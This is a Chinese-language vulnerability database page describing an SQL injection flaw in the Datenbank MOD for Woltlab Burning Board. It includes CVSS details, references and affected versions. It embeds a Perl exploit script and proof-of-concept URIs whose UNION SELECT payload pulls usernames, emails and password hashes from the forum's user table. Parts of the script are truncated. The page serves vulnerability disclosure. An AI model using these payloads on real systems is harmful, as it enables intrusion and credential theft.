发布时间 :2006-03-09 08:06:00
修订时间 :2008-09-05 17:01:01

[原文]SQL injection vulnerability in Datenbank MOD 2.7 and earlier for Woltlab Burning Board allows remote attackers to execute arbitrary SQL commands via the fileid parameter to (1) info_db.php or (2) database.php.

[CNNVD]Woltlab Burning Board Datenbank MOD多个SQL注入漏洞(CNNVD-200603-131)

        在Woltlab Burning Board的Datenbank MOD 2.7及其早期版本中存在SQL注入漏洞,远程攻击者可以通过以下途径,执行任意SQL命令:用于(1) info_db.php或(2) database.php中的字段参数。

- CVSS (基础分值)

CVSS分值: 7.5 [严重(HIGH)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)


- OVAL (用于检测的技术细节)


- 官方数据库链接
(官方数据源) MITRE
(官方数据源) NVD
(官方数据源) CNNVD

- 其它链接及资源
(UNKNOWN)  BID  16914
(UNKNOWN)  BUGTRAQ  20060301 Woltlab Burning Board 2.x (Datenbank MOD fileid) MultipleVulnerabilities

- 漏洞信息

Woltlab Burning Board Datenbank MOD多个SQL注入漏洞
高危 SQL注入
2006-03-09 00:00:00 2006-03-09 00:00:00
        在Woltlab Burning Board的Datenbank MOD 2.7及其早期版本中存在SQL注入漏洞,远程攻击者可以通过以下途径,执行任意SQL命令:用于(1) info_db.php或(2) database.php中的字段参数。

- 公告与补丁


- 漏洞信息 (1544)

Woltlab Burning Board 2.x Datenbank MOD (fileid) Remote SQL Injection (EDBID:1544)
php webapps
2006-03-01 Verified
0 nukedx
N/A [点击下载]
#Method found & Exploit scripted by nukedx
#Contacts > ICQ: 10072 MSN/Main: web:
#Usage: <victim> <directory> <modpage> <dbnum> <userid>
#Original Advisory:
use IO::Socket;
if(@ARGV < 5){
print "
+Woltlab Burning Board 2.x (Datenbank MOD fileid) Remote SQL Injection XPL+
+      Usage: <victim> <directory> <modpage> <dbnum> <userid>      +
+                Example: / info_db.php  1 1               +
+                  Method found & Exploit scripted by nukedx              +
#Local variables
$wbbserver = $ARGV[0];
$wbbserver =~ s/(http:\/\/)//eg;
$wbbhost = "http://".$wbbserver;
$port = "80";
$wbbdir = $ARGV[1];
$wbbpage  = $ARGV[2];
$wbbdbid = $ARGV[3];
$wbbid = $ARGV[4];
$wbbtar = $wbbpage."?action=file&subkatid=1&noheader=1&fileid=";
$wbbxp = "-1/**/UNION/**/SELECT/**/0,0,0,username,email,0,0,0,0,0,password,0,0,0,0,0,0,0/**/FROM/**/bb".$wbbdbid."_users/**/where/**/userid=".$wbbid;
$wbbreq = $wbbhost.$wbbdir.$wbbtar.$wbbxp;
$tag = "'s";
#Writing data to socket
print "+**********************************************************************+\n";
print "+ Trying to connect: $wbbserver\n";
$wbb = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$wbbserver", PeerPort => "$port") || die "\n+ Connection failed...\n";
print $wbb "GET $wbbreq\n";
print $wbb "Host: $wbbserver\n";
print $wbb "Accept: */*\n";
print $wbb "Connection: close\n\n";
print "+ Connected!...\n";
while($answer = <$wbb>) {
if ($answer =~ /<span class=\"smallfont\"><b>(.*?)<\/b> <\/td>/){ 
print "+ Exploit succeed! Getting USERID: $wbbid$tag login information.\n";
print "+ USERNAME: $1\n";
if ($answer =~ /([\d,a-f]{32})<\/td>/) { 
print "+ MD5 HASH OF PASSWORD: $1\n";
if ($answer =~ /<p><ul>(.*?)<\/ul><\/td>/) { 
print "+ MAIL: $1\n";
print "+ SQL Injection exploit has been succesfully finished.\n";
print "+ Woltlab runs on: $wbbhost$wbbdir\n";
print "+**********************************************************************+\n";
if ($answer =~ /users' doesn't exist /) { 
print "+ This version of Datenbank MOD is vulnerable too but you have speficied wrong database number!\n";
print "+**********************************************************************+\n";
if ($answer =~ /number of columns/) { 
print "+ This version of Datenbank MOD is vulnerable too but default query of SQL-inject doesnt work on it\n";
print "+ So please edit query by manually adding or removing null datas..\n";
print "+**********************************************************************+\n";
print "+ Exploit failed :(\n";
print "+**********************************************************************+\n";

# [2006-03-01]

# [2006-03-01]

- 漏洞信息

Datenbank MOD for Woltlab Burning Board info_db.php fileid Parameter SQL Injection
Remote / Network Access Information Disclosure, Input Manipulation
Loss of Confidentiality, Loss of Integrity
Exploit Public

- 漏洞描述

Datenbank MOD for Woltlab Burning Board contains a flaw that may allow an attacker to carry out an SQL injection attack. The issue is due to the info_db.php script not properly sanitizing user-supplied input to the 'fileid' variable. This may allow an attacker to inject or manipulate SQL queries in the back-end database.

- 时间线

2006-03-01 2006-03-01
2006-03-01 Unknow

- 解决方案

Currently, there are no known upgrades, patches, or workarounds available to correct this issue.

- 相关参考

- 漏洞作者

- 漏洞信息

Woltlab Burning Board Multiple SQL Injection Vulnerabilities
Input Validation Error 16914
Yes No
2006-03-02 12:00:00 2007-02-16 09:37:00
Mustafa Can Bjorn is credited with the discovery of these vulnerabilities.

- 受影响的程序版本

Woltlab Burning Board 2.7
Woltlab Burning Board 2.6
Woltlab Burning Board 2.5
Woltlab Burning Board 2.4
Woltlab Burning Board 2.3.3
Woltlab Burning Board 2.3.1
Woltlab Burning Board 2.2.2
Woltlab Burning Board 2.0 RC2
Woltlab Burning Board 2.0 RC1
Woltlab Burning Board 2.0 beta 5
Woltlab Burning Board 2.0 beta 4
Woltlab Burning Board 2.0 beta 3
Woltlab Burning Board 1.1.1

- 漏洞讨论

Woltlab Burning Board is prone to multiple SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

- 漏洞利用

These issues can be exploited through use of a web client.

The following proof of concept URI are available:[WBBDir]/info_db.php?action=file&subkatid=1&noheader=1&fileid=1/**/UNION/**/SELECT/**/0,0,0,username,password,0,0,0,0,0,email,0,0,0,0,0,0,0/**/FROM/**/bb1_users/**/where/**/userid=1[WBBDir]/database.php?

- 解决方案

Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at:

- 相关参考